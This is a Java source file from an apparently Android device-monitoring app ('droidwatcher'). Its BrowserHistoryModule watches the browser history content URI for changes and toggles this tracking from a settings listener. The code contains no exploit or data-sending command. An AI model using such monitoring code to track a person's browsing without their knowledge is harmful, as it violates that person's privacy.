package com.droidwatcher.modules; import com.droidwatcher.DBManager; import com.droidwatcher.Debug; import com.droidwatcher.SettingsManager; import com.droidwatcher.services.AppService; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.database.ContentObserver; import android.preference.PreferenceManager; import android.provider.Browser; public class BrowserHistoryModule implements OnSharedPreferenceChangeListener { private Context mContext; private SettingsManager mSettings; private ContentObserver mObserver; public BrowserHistoryModule(Context context){ this.mContext = context; this.mSettings = new SettingsManager(context); this.mObserver = new ContentObserver(null) { @Override public void onChange(boolean selfChange) { super.onChange(selfChange); if (AppService.sThreadManager != null) { AppService.sThreadManager.onBrowserHistoryChange(); } } }; PreferenceManager.getDefaultSharedPreferences(context).registerOnSharedPreferenceChangeListener(this); } public void start(){ if (mSettings.isBrowserHistoryEnabled()) { registerObserver(); } } private void registerObserver(){ mContext.getContentResolver().registerContentObserver(Browser.BOOKMARKS_URI, true, mObserver); } private void unregisterObserver(){ try { mContext.getContentResolver().unregisterContentObserver(mObserver); } catch (Exception e) { Debug.exception(e); } } public void dispose(){ unregisterObserver(); mContext = null; mSettings = null; mObserver = null; } @Override public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { try { if (key.equals(SettingsManager.KEY_BROWSER_HISTORY)) { if (mSettings.isBrowserHistoryEnabled()) { if (AppService.sThreadManager != null) { AppService.sThreadManager.resetBrowserHistory(); } else{ new DBManager(mContext).resetBrowserHistory(); } registerObserver(); } else{ unregisterObserver(); } } } catch (Exception e) { Debug.exception(e); } } }